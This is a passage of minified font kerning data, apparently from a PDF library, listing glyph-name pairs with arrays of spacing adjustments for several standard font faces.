25],odieresisx:[-30,-30,-30,-30,0,-10],odieresisy:[-20,-20,-30,-30,0,-10,0,-10],odieresisyacute:[-20,-20,-30,-30,0,-10,0,-10],odieresisydieresis:[-20,-20,-30,-30,0,-10,0,-10],ogravev:[-20,-20,-15,-15,-10,-15,-10,-15],ogravew:[-15,-15,-15,-15,-10,-25,0,-25],ogravex:[-30,-30,-30,-30,0,-10],ogravey:[-20,-20,-30,-30,0,-10,0,-10],ograveyacute:[-20,-20,-30,-30,0,-10,0,-10],ograveydieresis:[-20,-20,-30,-30,0,-10,0,-10],ohungarumlautv:[-20,-20,-15,-15,-10,-15,-10,-15],ohungarumlautw:[-15,-15,-15,-15,-10,-25,0,-25],ohungarumlautx:[-30,-30,-30,-30,0,-10],ohungarumlauty:[-20,-20,-30,-30,0,-10,0,-10],ohungarumlautyacute:[-20,-20,-30,-30,0,-10,0,-10],ohungarumlautydieresis:[-20,-20,-30,-30,0,-10,0,-10],omacronv:[-20,-20,-15,-15,-10,-15,-10,-15],omacronw:[-15,-15,-15,-15,-10,-25,0,-25],omacronx:[-30,-30,-30,-30,0,-10],omacrony:[-20,-20,-30,-30,0,-10,0,-10],omacronyacute:[-20,-20,-30,-30,0,-10,0,-10],omacronydieresis:[-20,-20,-30,-30,0,-10,0,-10],oslashv:[-20,-20,-70,-70,-10,-15,-10,-15],oslashw:[-15,-15,-70,-70,-10,-25,0,-25],oslashx:[-30,-30,-85,-85,0,-10],oslashy:[-20,-20,-70,-70,0,-10,0,-10],oslashyacute:[-20,-20,-70,-70,0,-10,0,-10],oslashydieresis:[-20,-20,-70,-70,0,-10,0,-10],otildev:[-20,-20,-15,-15,-10,-15,-10,-15],otildew:[-15,-15,-15,-15,-10,-25,0,-25],otildex:[-30,-30,-30,-30,0,-10],otildey:[-20,-20,-30,-30,0,-10,0,-10],otildeyacute:[-20,-20,-30,-30,0,-10,0,-10],otildeydieresis:[-20,-20,-30,-30,0,-10,0,-10],py:[-15,-15,-30,-30,0,0,0,-10],pyacute:[-15,-15,-30,-30,0,0,0,-10],pydieresis:[-15,-15,-30,-30,0,0,0,-10],periodquotedblright:[-120,-120,-100,-100,-55,-95,-140,-70],periodquoteright:[-120,-120,-100,-100,-55,-95,-140,-70],periodspace:[-40,-40,-60,-60],quotedblrightspace:[-80,-80,-40,-40],quoteleftquoteleft:[-46,-46,-57,-57,-63,-74,-111,-74],quoterightd:[-80,-80,-50,-50,-20,-15,-25,-50],quoterightdcroat:[-80,-80,-50,-50,-20,-15,-25,-50],quoterightl:[-20,-20,0,0,0,0,0,-10],quoterightlacute:[-20,-20,0,0,0,0,0,-10],quoterightlcommaaccent:[-20,-20,0,0,0,0,0,-10],quoterightlslash:[-20,-20,0,0,0,0,0,-10],quoterightquoteright:[-46,-46,-57,-57,-63,-74,-111,-74],quoterightr:[-40,-40,-50,-50,-20,-15,-25,-50],quoterightracute:[-40,-40,-50,-50,-20,-15,-25,-50],quoterightrcaron:[-40,-40,-50,-50,-20,-15,-25,-50],quoterightrcommaaccent:[-40,-40,-50,-50,-20,-15,-25,-50],quoterights:[-60,-60,-50,-50,-37,-74,-40,-55],quoterightsacute:[-60,-60,-50,-50,-37,-74,-40,-55],quoterightscaron:[-60,-60,-50,-50,-37,-74,-40,-55],quoterightscedilla:[-60,-60,-50,-50,-37,-74,-40,-55],quoterightscommaaccent:[-60,-60,-50,-50,-37,-74,-40,-55],quoterightspace:[-80,-80,-70,-70,-74,-74,-111,-74],quoterightv:[-20,-20,0,0,-20,-15,-10,-50],rc:[-20,-20,0,0,-18,0,-37],rcacute:[-20,-20,0,0,-18,0,-37],rccaron:[-20,-20,0,0,-18,0,-37],rccedilla:[-20,-20,0,0,-18,0,-37],rcomma:[-60,-60,-50,-50,-92,-65,-111,-40],rd:[-20,-20,0,0,0,0,-37],rdcroat:[-20,-20,0,0,0,0,-37],rg:[-15,-15,0,0,-10,0,-37,-18],rgbreve:[-15,-15,0,0,-10,0,-37,-18],rgcommaaccent:[-15,-15,0,0,-10,0,-37,-18],rhyphen:[-20,-20,0,0,-37,0,-20,-20],ro:[-20,-20,0,0,-18,0,-45],roacute:[-20,-20,0,0,-18,0,-45],rocircumflex:[-20,-20,0,0,-18,0,-45],rodieresis:[-20,-20,0,0,-18,0,-45],rograve:[-20,-20,0,0,-18,0,-45],rohungarumlaut:[-20,-20,0,0,-18,0,-45],romacron:[-20,-20,0,0,-18,0,-45],roslash:[-20,-20,0,0,-18,0,-45],rotilde:[-20,-20,0,0,-18,0,-45],rperiod:[-60,-60,-50,-50,-100,-65,-111,-55],rq:[-20,-20,0,0,-18,0,-37],rs:[-15,-15,0,0,0,0,-10],rsacute:[-15,-15,0,0,0,0,-10],rscaron:[-15,-15,0,0,0,0,-10],rscedilla:[-15,-15,0,0,0,0,-10],rscommaaccent:[-15,-15,0,0,0,0,-10],rt:[20,20,40,40],rtcommaaccent:[20,20,40,40],rv:[10,10,30,30,-10],ry:[10,10,30,30],ryacute:[10,10,30,30],rydieresis:[10,10,30,30],racutec:[-20,-20,0,0,-18,0,-37],racutecacute:[-20,-20,0,0,-18,0,-37],racuteccaron:[-20,-20,0,0,-18,0,-37],racuteccedilla:[-20,-20,0,0,-18,0,-37],racutecomma:[-60,-60,-50,-50,-92,-65,-111,-40],racuted:[-20,-20,0,0,0,0,-37],racutedcroat:[-20,-20,0,0,0,0,-37],racuteg:[-15,-15,0,0,-10,0,-37,-18],racutegbreve:[-15,-15,0,0,-10,0,-37,-18],racutegcommaaccent:[-15,-15,0,0,-10,0,-37,-18],racutehyphen:[-20,-20,0,0,-37,0,-20,-20],racuteo:[-20,-20,0,0,-18,0,-45],racuteoacute:[-20,-20,0,0,-18,0,-45],racuteocircumflex:[-20,-20,0,0,-18,0,-45],racuteodieresis:[-20,-20,0,0,-18,0,-45],racuteograve:[-20,-20,0,0,-18,0,-45],racuteohungarumlaut:[-20,-20,0,0,-18,0,-45],racuteomacron:[-20,-20,0,0,-18,0,-45],racuteoslash:[-20,-20,0,0,-18,0,-45],racuteotilde:[-20,-20,0,0,-18,0,-45],racuteperiod:[-60,-60,-50,-50,-100,-65,-111,-55],racuteq:[-20,-20,0,0,-18,0,-37],racutes:[-15,-15,0,0,0,0,-10],racutesacute:[-15,-15,0,0,0,0,-10],racutescaron:[-15,-15,0,0,0,0,-10],racutescedilla:[-15,-15,0,0,0,0,-10],racutescommaaccent:[-15,-15,0,0,0,0,-10],racutet:[20,20,40,40],racutetcommaaccent:[20,20,40,40],racutev:[10,10,30,30,-10],racutey:[10,10,30,30],racuteyacute:[10,10,30,30],racuteydieresis:[10,10,30,30],rcaronc:[-20,-20,0,0,-18,0,-37],rcaroncacute:[-20,-20,0,0,-18,0,-37],rcaronccaron:[-20,-20,0,0,-18,0,-37],rcaronccedilla:[-20,-20,0,0,-18,0,-37],rcaroncomma:[-60,-60,-50,-50,-92,-65,-111,-40],rcarond:[-20,-20,0,0,0,0,-37],rcarondcroat:[-20,-20,0,0,0,0,-37],rcarong:[-15,-15,0,0,-10,0,-37,-18],rcarongbreve:[-15,-15,0,0,-10,0,-37,-18],rcarongcommaaccent:[-15,-15,0,0,-10,0,-37,-18],rcaronhyphen:[-20,-20,0,0,-37,0,-20,-20],rcarono:[-20,-20,0,0,-18,0,-45],rcaronoacute:[-20,-20,0,0,-18,0,-45],rcaronocircumflex:[-20,-20,0,0,-18,0,-45],rcaronodieresis:[-20,-20,0,0,-18,0,-45],rcaronograve:[-20,-20,0,0,-18,0,-45],rcaronohungarumlaut:[-20,-20,0,0,-18,0,-45],rcaronomacron:[-20,-20,0,0,-18,0,-45],rcaronoslash:[-20,-20,0,0,-18,0,-45],rcaronotilde:[-20,-20,0,0,-18,0,-45],rcaronperiod:[-60,-60,-50,-50,-100,-65,-111,-55],rcaronq:[-20,-20,0,0,-18,0,-37],rcarons:[-15,-15,0,0,0,0,-10],rcaronsacute:[-15,-15,0,0,0,0,-10],rcaronscaron:[-15,-15,0,0,0,0,-10],rcaronscedilla:[-15,-15,0,0,0,0,-10],rcaronscommaaccent:[-15,-15,0,0,0,0,-10],rcaront:[20,20,40,40],rcarontcommaaccent:[20,20,40,40],rcaronv:[10,10,30,30,-10],rcarony:[10,10,30,30],rcaronyacute:[10,10,30,30],rcaronydieresis:[10,10,30,30],rcommaaccentc:[-20,-20,0,0,-18,0,-37],rcommaaccentcacute:[-20,-20,0,0,-18,0,-37],rcommaaccentccaron:[-20,-20,0,0,-18,0,-37],rcommaaccentccedilla:[-20,-20,0,0,-18,0,-37],rcommaaccentcomma:[-60,-60,-50,-50,-92,-65,-111,-40],rcommaaccentd:[-20,-20,0,0,0,0,-37],rcommaaccentdcroat:[-20,-20,0,0,0,0,-37],rcommaaccentg:[-15,-15,0,0,-10,0,-37,-18],rcommaaccentgbreve:[-15,-15,0,0,-10,0,-37,-18],rcommaaccentgcommaaccent:[-15,-15,0,0,-10,0,-37,-18],rcommaaccenthyphen:[-20,-20,0,0,-37,0,-20,-20],rcommaaccento:[-20,-20,0,0,-18,0,-45],rcommaaccentoacute:[-20,-20,0,0,-18,0,-45],rcommaaccentocircumflex:[-20,-20,0,0,-18,0,-45],rcommaaccentodieresis:[-20,-20,0,0,-18,0,-45],rcommaaccentograve:[-20,-20,0,0,-18,0,-45],rcommaaccentohungarumlaut:[-20,-20,0,0,-18,0,-45],rcommaaccentomacron:[-20,-20,0,0,-18,0,-45],rcommaaccentoslash:[-20,-20,0,0,-18,0,-45],rcommaaccentotilde:[-20,-20,0,0,-18,0,-45],rcommaaccentperiod:[-60,-60,-50,-50,-100,-65,-111,-55],rcommaaccentq:[-20,-20,0,0,-18,0,-37],rcommaaccents:[-15,-15,0,0,0,0,-10],rcommaaccentsacute:[-15,-15,0,0,0,0,-10],rcommaaccentscaron:[-15,-15,0,0,0,0,-10],rcommaaccentscedilla:[-15,-15,0,0,0,0,-10],rcommaaccentscommaaccent:[-15,-15,0,0,0,0,-10],rcommaaccentt:[20,20,40,40],rcommaaccenttcommaaccent:[20,20,40,40],rcommaaccentv:[10,10,30,30,-10],rcommaaccenty:[10,10,30,30],rcommaaccentyacute:[10,10,30,30],rcommaaccentydieresis:[10,10,30,30],sw:[-15,-15,-30,-30],sacutew:[-15,-15,-30,-30],scaronw:[-15,-15,-30,-30],scedillaw:[-15,-15,-30,-30],scommaaccentw:[-15,-15,-30,-30],semicolonspace:[-40,-40,-50,-50],spaceT:[-100,-100,-50,-50,-30,0,-18,-18],spaceTcaron:[-100,-100,-50,-50,-30,0,-18,-18],spaceTcommaaccent:[-100,-100,-50,-50,-30,0,-18,-18],spaceV:[-80,-80,-50,-50,-45,-70,-35,-50],spaceW:[-80,-80,-40,-40,-30,-70,-40,-30],spaceY:[-120,-120,-90,-90,-55,-70,-75,-90],spaceYacute:[-120,-120,-90,-90,-55,-70,-75,-90],spaceYdieresis:[-120,-120,-90,-90,-55,-70,-75,-90],spacequotedblleft:[-80,-80,-30,-30],spacequoteleft:[-60,-60,-60,-60],va:[-20,-20,-25,-25,-10,0,0,-25],vaacute:[-20,-20,-25,-25,-10,0,0,-25],vabreve:[-20,-20,-25,-25,-10,0,0,-25],vacircumflex:[-20,-20,-25,-25,-10,0,0,-25],vadieresis:[-20,-20,-25,-25,-10,0,0,-25],vagrave:[-20,-20,-25,-25,-10,0,0,-25],vamacron:[-20,-20,-25,-25,-10,0,0,-25],vaogonek:[-20,-20,-25,-25,-10,0,0,-25],varing:[-20,-20,-25,-25,-10,0,0,-25],vatilde:[-20,-20,-25,-25,-10,0,0,-25],vcomma:[-80,-80,-80,-80,-55,-37,-74,-65],vo:[-30,-30,-25,-25,-10,-15,0,-20],voacute:[-30,-30,-25,-25,-10,-15,0,-20],vocircumflex:[-30,-30,-25,-25,-10,-15,0,-20],vodieresis:[-30,-30,-25,-25,-10,-15,0,-20],vograve:[-30,-30,-25,-25,-10,-15,0,-20],vohungarumlaut:[-30,-30,-25,-25,-10,-15,0,-20],vomacron:[-30,-30,-25,-25,-10,-15,0,-20],voslash:[-30,-30,-25,-25,-10,-15,0,-20],votilde:[-30,-30,-25,-25,-10,-15,0,-20],vperiod:[-80,-80,-80,-80,-70,-37,-74,-65],wcomma:[-40,-40,-60,-60,-55,-37,-74,-65],wo:[-20,-20,-10,-10,-10,-15,0,-10],woacute:[-20,-20,-10,-10,-10,-15,0,-10],wocircumflex:[-20,-20,-10,-10,-10,-15,0,-10],wodieresis:[-20,-20,-10,-10,-10,-15,0,-10],wograve:[-20,-20,-10,-10,-10,-15,0,-10],wohungarumlaut:[-20,-20,-10,-10,-10,-15,0,-10],womacron:[-20,-20,-10,-10,-10,-15,0,-10],woslash:[-20,-20,-10,-10,-10,-15,0,-10],wotilde:[-20,-20,-10,-10,-10,-15,0,-10],wperiod:[-40,-40,-60,-60,-70,-37,-74,-65],xe:[-10,-10,-30,-30,0,-10,0,-15],xeacute:[-10,-10,-30,-30,0,-10,0,-15],xecaron:[-10,-10,-30,-30,0,-10,0,-15],xecircumflex:[-10,-10,-30,-30,0,-10,0,-15],xedieresis:[-10,-10,-30,-30,0,-10,0,-15],xedotaccent:[-10,-10,-30,-30,0,-10,0,-15],xegrave:[-10,-10,-30,-30,0,-10,0,-15],xemacron:[-10,-10,-30,-30,0,-10,0,-15],xeogonek:[-10,-10,-30,-30,0,-10,0,-15],ya:[-30,-30,-20,-20],yaacute:[-30,-30,-20,-20],yabreve:[-30,-30,-20,-20],yacircumflex:[-30,-30,-20,-20],yadieresis:[-30,-30,-20,-20],yagrave:[-30,-30,-20,-20],yamacron:[-30,-30,-20,-20],yaogonek:[-30,-30,-20,-20],yaring:[-30,-30,-20,-20],yatilde:[-30,-30,-20,-20],ycomma:[-80,-80,-100,-100,-55,-37,-55,-65],ye:[-10,-10,-20,-20,-10],yeacute:[-10,-10,-20,-20,-10],yecaron:[-10,-10,-20,-20,-10],yecircumflex:[-10,-10,-20,-20,-10],yedieresis:[-10,-10,-20,-20,-10],yedotaccent:[-10,-10,-20,-20,-10],yegrave:[-10,-10,-20,-20,-10],yemacron:[-10,-10,-20,-20,-10],yeogonek:[-10,-10,-20,-20,-10],yo:[-25,-25,-20,-20,-25],yoacute:[-25,-25,-20,-20,-25],yocircumflex:[-25,-25,-20,-20,-25],yodieresis:[-25,-25,-20,-20,-25],yograve:[-25,-25,-20,-20,-25],yohungarumlaut:[-25,-25,-20,-20,-25],yomacron:[-25,-25,-20,-20,-25],yoslash:[-25,-25,-20,-20,-25],yotilde:[-25,-25,-20,-20,-25],yperiod:[-80,-80,-100,-100,-70,-37,-55,-65],yacutea:[-30,-30,-20,-20],yacuteaacute:[-30,-30,-20,-20],yacuteabreve:[-30,-30,-20,-20],yacuteacircumflex:[-30,-30,-20,-20],yacuteadieresis:[-30,-30,-20,-20],yacuteagrave:[-30,-30,-20,-20],yacuteamacron:[-30,-30,-20,-20],yacuteaogonek:[-30,-30,-20,-20],yacutearing:[-30,-30,-20,-20],yacuteatilde:[-30,-30,-20,-20],yacutecomma:[-80,-80,-100,-100,-55,-37,-55,-65],yacutee:[-10,-10,-20,-20,-10],yacuteeacute:[-10,-10,-20,-20,-10],yacuteecaron:[-10,-10,-20,-20,-10],yacuteecircumflex:[-10,-10,-20,-20,-10],yacuteedieresis:[-10,-10,-20,-20,-10],yacuteedotaccent:[-10,-10,-20,-20,-10],yacuteegrave:[-10,-10,-20,-20,-10],yacuteemacron:[-10,-10,-20,-20,-10],yacuteeogonek:[-10,-10,-20,-20,-10],yacuteo:[-25,-25,-20,-20,-25],yacuteoacute:[-25,-25,-20,-20,-25],yacuteocircumflex:[-25,-25,-20,-20,-25],yacuteodieresis:[-25,-25,-20,-20,-25],yacuteograve:[-25,-25,-20,-20,-25],yacuteohungarumlaut:[-25,-25,-20,-20,-25],yacuteomacron:[-25,-25,-20,-20,-25],yacuteoslash:[-25,-25,-20,-20,-25],yacuteotilde:[-25,-25,-20,-20,-25],yacuteperiod:[-80,-80,-100,-100,-70,-37,-55,-65],ydieresisa:[-30,-30,-20,-20],ydieresisaacute:[-30,-30,-20,-20],ydieresisabreve:[-30,-30,-20,-20],ydieresisacircumflex:[-30,-30,-20,-20],ydieresisadieresis:[-30,-30,-20,-20],ydieresisagrave:[-30,-30,-20,-20],ydieresisamacron:[-30,-30,-20,-20],ydieresisaogonek:[-30,-30,-20,-20],ydieresisaring:[-30,-30,-20,-20],ydieresisatilde:[-30,-30,-20,-20],ydieresiscomma:[-80,-80,-100,-100,-55,-37,-55,-65],ydieresise:[-10,-10,-20,-20,-10],ydieresiseacute:[-10,-10,-20,-20,-10],ydieresisecaron:[-10,-10,-20,-20,-10],ydieresisecircumflex:[-10,-10,-20,-20,-10],ydieresisedieresis:[-10,-10,-20,-20,-10],ydieresisedotaccent:[-10,-10,-20,-20,-10],ydieresisegrave:[-10,-10,-20,-20,-10],ydieresisemacron:[-10,-10,-20,-20,-10],ydieresiseogonek:[-10,-10,-20,-20,-10],ydieresiso:[-25,-25,-20,-20,-25],ydieresisoacute:[-25,-25,-20,-20,-25],ydieresisocircumflex:[-25,-25,-20,-20,-25],ydieresisodieresis:[-25,-25,-20,-20,-25],ydieresisograve:[-25,-25,-20,-20,-25],ydieresisohungarumlaut:[-25,-25,-20,-20,-25],ydieresisomacron:[-25,-25,-20,-20,-25],ydieresisoslash:[-25,-25,-20,-20,-25],ydieresisotilde:[-25,-25,-20,-20,-25],ydieresisperiod:[-80,-80,-100,-100,-70,-37,-55,-65],ze:[10,10,-15,-15],zeacute:[10,10,-15,-15],zecaron:[10,10,-15,-15],zecircumflex:[10,10,-15,-15],zedieresis:[10,10,-15,-15],zedotaccent:[10,10,-15,-15],zegrave:[10,10,-15,-15],zemacron:[10,10,-15,-15],zeogonek:[10,10,-15,-15],zacutee:[10,10,-15,-15],zacuteeacute:[10,10,-15,-15],zacuteecaron:[10,10,-15,-15],zacuteecircumflex:[10,10,-15,-15],zacuteedieresis:[10,10,-15,-15],zacuteedotaccent:[10,10,-15,-15],zacuteegrave:[10,10,-15,-15],zacuteemacron:[10,10,-15,-15],zacuteeogonek:[10,10,-15,-15],zcarone:[10,10,-15,-15],zcaroneacute:[10,10,-15,-15],zcaronecaron:[10,10,-15,-15],zcaronecircumflex:[10,10,-15,-15],zcaronedieresis:[10,10,-15,-15],zcaronedotaccent:[10,10,-15,-15],zcaronegrave:[10,10,-15,-15],zcaronemacron:[10,10,-15,-15],zcaroneogonek:[10,10,-15,-15],zdotaccente:[10,10,-15,-15],zdotaccenteacute:[10,10,-15,-15],zdotaccentecaron:[10,10,-15,-15],zdotaccentecircumflex:[10,10,-15,-15],zdotaccentedieresis:[10,10,-15,-15],zdotaccentedotaccent:[10,10,-15,-15],zdotaccentegrave:[10,10,-15,-15],zdotaccentemacron:[10,10,-15,-15],zdotaccenteogonek:[10,10,-15,-15],Bcomma:[0,0,-20,-20],Bperiod:[0,0,-20,-20],Ccomma:[0,0,-30,-30],Cperiod:[0,0,-30,-30],Cacutecomma:[0,0,-30,-30],Cacuteperiod:[0,0,-30,-30],Ccaroncomma:[0,0,-30,-30],Ccaronperiod:[0,0,-30,-30],Ccedillacomma:[0,0,-30,-30],Ccedillaperiod:[0,0,-30,-30],Fe:[0,0,-30,-30,-25,-100,-75],Feacute:[0,0,-30,-30,-25,-100,-75],Fecaron:[0,0,-30,-30,-25,-100,-75],Fecircumflex:[0,0,-30,-30,-25,-100,-75],Fedieresis:[0,0,-30,-30,-25,-100,-75],Fedotaccent:[0,0,-30,-30,-25,-100,-75],Fegrave:[0,0,-30,-30,-25,-100,-75],Femacron:[0,0,-30,-30,-25,-100,-75],Feogonek:[0,0,-30,-30,-25,-100,-75],Fo:[0,0,-30,-30,-25,-70,-105,-15],Foacute:[0,0,-30,-30,-25,-70,-105,-15],Focircumflex:[0,0,-30,-30,-25,-70,-105,-15],Fodieresis:[0,0,-30,-30,-25,-70,-105,-15],Fograve:[0,0,-30,-30,-25,-70,-105,-15],Fohungarumlaut:[0,0,-30,-30,-25,-70,-105,-15],Fomacron:[0,0,-30,-30,-25,-70,-105,-15],Foslash:[0,0,-30,-30,-25,-70,-105,-15],Fotilde:[0,0,-30,-30,-25,-70,-105,-15],Fr:[0,0,-45,-45,0,-50,-55],Fracute:[0,0,-45,-45,0,-50,-55],Frcaron:[0,0,-45,-45,0,-50,-55],Frcommaaccent:[0,0,-45,-45,0,-50,-55],Ja:[0,0,-20,-20,-15,-40,-35],Jaacute:[0,0,-20,-20,-15,-40,-35],Jabreve:[0,0,-20,-20,-15,-40,-35],Jacircumflex:[0,0,-20,-20,-15,-40,-35],Jadieresis:[0,0,-20,-20,-15,-40,-35],Jagrave:[0,0,-20,-20,-15,-40,-35],Jamacron:[0,0,-20,-20,-15,-40,-35],Jaogonek:[0,0,-20,-20,-15,-40,-35],Jaring:[0,0,-20,-20,-15,-40,-35],Jatilde:[0,0,-20,-20,-15,-40,-35],LcaronT:[0,0,-110,-110],LcaronTcaron:[0,0,-110,-110],LcaronTcommaaccent:[0,0,-110,-110],LcaronV:[0,0,-110,-110],LcaronW:[0,0,-70,-70],LcaronY:[0,0,-140,-140],LcaronYacute:[0,0,-140,-140],LcaronYdieresis:[0,0,-140,-140],Lcaronquotedblright:[0,0,-140,-140],Lcaronquoteright:[0,0,-160,-160,0,0,0,-92],Lcarony:[0,0,-30,-30,0,0,0,-55],Lcaronyacute:[0,0,-30,-30,0,0,0,-55],Lcaronydieresis:[0,0,-30,-30,0,0,0,-55],Scomma:[0,0,-20,-20],Speriod:[0,0,-20,-20],Sacutecomma:[0,0,-20,-20],Sacuteperiod:[0,0,-20,-20],Scaroncomma:[0,0,-20,-20],Scaronperiod:[0,0,-20,-20],Scedillacomma:[0,0,-20,-20],Scedillaperiod:[0,0,-20,-20],Scommaaccentcomma:[0,0,-20,-20],Scommaaccentperiod:[0,0,-20,-20],Trcaron:[0,0,-120,-120,-74,-37,-55,-35],Tcaronrcaron:[0,0,-120,-120,-74,-37,-55,-35],Tcommaaccentrcaron:[0,0,-120,-120,-74,-37,-55,-35],Yhyphen:[0,0,-140,-140,-92,-92,-74,-111],Yi:[0,0,-20,-20,-37,-55,-74,-55],Yiacute:[0,0,-20,-20,-37,-55,-74,-55],Yiogonek:[0,0,-20,-20,-37,-55,-74,-55],Yacutehyphen:[0,0,-140,-140,-92,-92,-74,-111],Yacutei:[0,0,-20,-20,-37,-55,-74,-55],Yacuteiacute:[0,0,-20,-20,-37,-55,-74,-55],Yacuteiogonek:[0,0,-20,-20,-37,-55,-74,-55],Ydieresishyphen:[0,0,-140,-140,-92,-92,-74,-111],Ydieresisi:[0,0,-20,-20,-37,-55,-74,-55],Ydieresisiacute:[0,0,-20,-20,-37,-55,-74,-55],Ydieresisiogonek:[0,0,-20,-20,-37,-55,-74,-55],bb:[0,0,-10,-10,-10,-10],bcomma:[0,0,-40,-40],bperiod:[0,0,-40,-40,-40,-40,-40,-40],ccomma:[0,0,-15,-15],cacutecomma:[0,0,-15,-15],ccaroncomma:[0,0,-15,-15],ccedillacomma:[0,0,-15,-15],fa:[0,0,-30,-30,0,0,0,-10],faacute:[0,0,-30,-30,0,0,0,-10],fabreve:[0,0,-30,-30,0,0,0,-10],facircumflex:[0,0,-30,-30,0,0,0,-10],fadieresis:[0,0,-30,-30,0,0,0,-10],fagrave:[0,0,-30,-30,0,0,0,-10],famacron:[0,0,-30,-30,0,0,0,-10],faogonek:[0,0,-30,-30,0,0,0,-10],faring:[0,0,-30,-30,0,0,0,-10],fatilde:[0,0,-30,-30,0,0,0,-10],fdotlessi:[0,0,-28,-28,-35,-30,-60,-50],gr:[0,0,-10,-10],gracute:[0,0,-10,-10],grcaron:[0,0,-10,-10],grcommaaccent:[0,0,-10,-10],gbrever:[0,0,-10,-10],gbreveracute:[0,0,-10,-10],gbrevercaron:[0,0,-10,-10],gbrevercommaaccent:[0,0,-10,-10],gcommaaccentr:[0,0,-10,-10],gcommaaccentracute:[0,0,-10,-10],gcommaaccentrcaron:[0,0,-10,-10],gcommaaccentrcommaaccent:[0,0,-10,-10],ke:[0,0,-20,-20,-10,-30,-10,-10],keacute:[0,0,-20,-20,-10,-30,-10,-10],kecaron:[0,0,-20,-20,-10,-30,-10,-10],kecircumflex:[0,0,-20,-20,-10,-30,-10,-10],kedieresis:[0,0,-20,-20,-10,-30,-10,-10],kedotaccent:[0,0,-20,-20,-10,-30,-10,-10],kegrave:[0,0,-20,-20,-10,-30,-10,-10],kemacron:[0,0,-20,-20,-10,-30,-10,-10],keogonek:[0,0,-20,-20,-10,-30,-10,-10],kcommaaccente:[0,0,-20,-20,-10,-30,-10,-10],kcommaaccenteacute:[0,0,-20,-20,-10,-30,-10,-10],kcommaaccentecaron:[0,0,-20,-20,-10,-30,-10,-10],kcommaaccentecircumflex:[0,0,-20,-20,-10,-30,-10,-10],kcommaaccentedieresis:[0,0,-20,-20,-10,-30,-10,-10],kcommaaccentedotaccent:[0,0,-20,-20,-10,-30,-10,-10],kcommaaccentegrave:[0,0,-20,-20,-10,-30,-10,-10],kcommaaccentemacron:[0,0,-20,-20,-10,-30,-10,-10],kcommaaccenteogonek:[0,0,-20,-20,-10,-30,-10,-10],ocomma:[0,0,-40,-40],operiod:[0,0,-40,-40],oacutecomma:[0,0,-40,-40],oacuteperiod:[0,0,-40,-40],ocircumflexcomma:[0,0,-40,-40],ocircumflexperiod:[0,0,-40,-40],odieresiscomma:[0,0,-40,-40],odieresisperiod:[0,0,-40,-40],ogravecomma:[0,0,-40,-40],ograveperiod:[0,0,-40,-40],ohungarumlautcomma:[0,0,-40,-40],ohungarumlautperiod:[0,0,-40,-40],omacroncomma:[0,0,-40,-40],omacronperiod:[0,0,-40,-40],oslasha:[0,0,-55,-55],oslashaacute:[0,0,-55,-55],oslashabreve:[0,0,-55,-55],oslashacircumflex:[0,0,-55,-55],oslashadieresis:[0,0,-55,-55],oslashagrave:[0,0,-55,-55],oslashamacron:[0,0,-55,-55],oslashaogonek:[0,0,-55,-55],oslasharing:[0,0,-55,-55],oslashatilde:[0,0,-55,-55],oslashb:[0,0,-55,-55],oslashc:[0,0,-55,-55],oslashcacute:[0,0,-55,-55],oslashccaron:[0,0,-55,-55],oslashccedilla:[0,0,-55,-55],oslashcomma:[0,0,-95,-95],oslashd:[0,0,-55,-55],oslashdcroat:[0,0,-55,-55],oslashe:[0,0,-55,-55],oslasheacute:[0,0,-55,-55],oslashecaron:[0,0,-55,-55],oslashecircumflex:[0,0,-55,-55],oslashedieresis:[0,0,-55,-55],oslashedotaccent:[0,0,-55,-55],oslashegrave:[0,0,-55,-55],oslashemacron:[0,0,-55,-55],oslasheogonek:[0,0,-55,-55],oslashf:[0,0,-55,-55],oslashg:[0,0,-55,-55,0,0,-10],oslashgbreve:[0,0,-55,-55,0,0,-10],oslashgcommaaccent:[0,0,-55,-55,0,0,-10],oslashh:[0,0,-55,-55],oslashi:[0,0,-55,-55],oslashiacute:[0,0,-55,-55],oslashicircumflex:[0,0,-55,-55],oslashidieresis:[0,0,-55,-55],oslashigrave:[0,0,-55,-55],oslashimacron:[0,0,-55,-55],oslashiogonek:[0,0,-55,-55],oslashj:[0,0,-55,-55],oslashk:[0,0,-55,-55],oslashkcommaaccent:[0,0,-55,-55],oslashl:[0,0,-55,-55],oslashlacute:[0,0,-55,-55],oslashlcommaaccent:[0,0,-55,-55],oslashlslash:[0,0,-55,-55],oslashm:[0,0,-55,-55],oslashn:[0,0,-55,-55],oslashnacute:[0,0,-55,-55],oslashncaron:[0,0,-55,-55],oslashncommaaccent:[0,0,-55,-55],oslashntilde:[0,0,-55,-55],oslasho:[0,0,-55,-55],oslashoacute:[0,0,-55,-55],oslashocircumflex:[0,0,-55,-55],oslashodieresis:[0,0,-55,-55],oslashograve:[0,0,-55,-55],oslashohungarumlaut:[0,0,-55,-55],oslashomacron:[0,0,-55,-55],oslashoslash:[0,0,-55,-55],oslashotilde:[0,0,-55,-55],oslashp:[0,0,-55,-55],oslashperiod:[0,0,-95,-95],oslashq:[0,0,-55,-55],oslashr:[0,0,-55,-55],oslashracute:[0,0,-55,-55],oslashrcaron:[0,0,-55,-55],oslashrcommaaccent:[0,0,-55,-55],oslashs:[0,0,-55,-55],oslashsacute:[0,0,-55,-55],oslashscaron:[0,0,-55,-55],oslashscedilla:[0,0,-55,-55],oslashscommaaccent:[0,0,-55,-55],oslasht:[0,0,-55,-55],oslashtcommaaccent:[0,0,-55,-55],oslashu:[0,0,-55,-55],oslashuacute:[0,0,-55,-55],oslashucircumflex:[0,0,-55,-55],oslashudieresis:[0,0,-55,-55],oslashugrave:[0,0,-55,-55],oslashuhungarumlaut:[0,0,-55,-55],oslashumacron:[0,0,-55,-55],oslashuogonek:[0,0,-55,-55],oslashuring:[0,0,-55,-55],oslashz:[0,0,-55,-55],oslashzacute:[0,0,-55,-55],oslashzcaron:[0,0,-55,-55],oslashzdotaccent:[0,0,-55,-55],otildecomma:[0,0,-40,-40],otildeperiod:[0,0,-40,-40],pcomma:[0,0,-35,-35],pperiod:[0,0,-35,-35],ra:[0,0,-10,-10,0,0,-15],raacute:[0,0,-10,-10,0,0,-15],rabreve:[0,0,-10,-10,0,0,-15],racircumflex:[0,0,-10,-10,0,0,-15],radieresis:[0,0,-10,-10,0,0,-15],ragrave:[0,0,-10,-10,0,0,-15],ramacron:[0,0,-10,-10,0,0,-15],raogonek:[0,0,-10,-10,0,0,-15],raring:[0,0,-10,-10,0,0,-15],ratilde:[0,0,-10,-10,0,0,-15],rcolon:[0,0,30,30],ri:[0,0,15,15],riacute:[0,0,15,15],ricircumflex:[0,0,15,15],ridieresis:[0,0,15,15],rigrave:[0,0,15,15],rimacron:[0,0,15,15],riogonek:[0,0,15,15],rk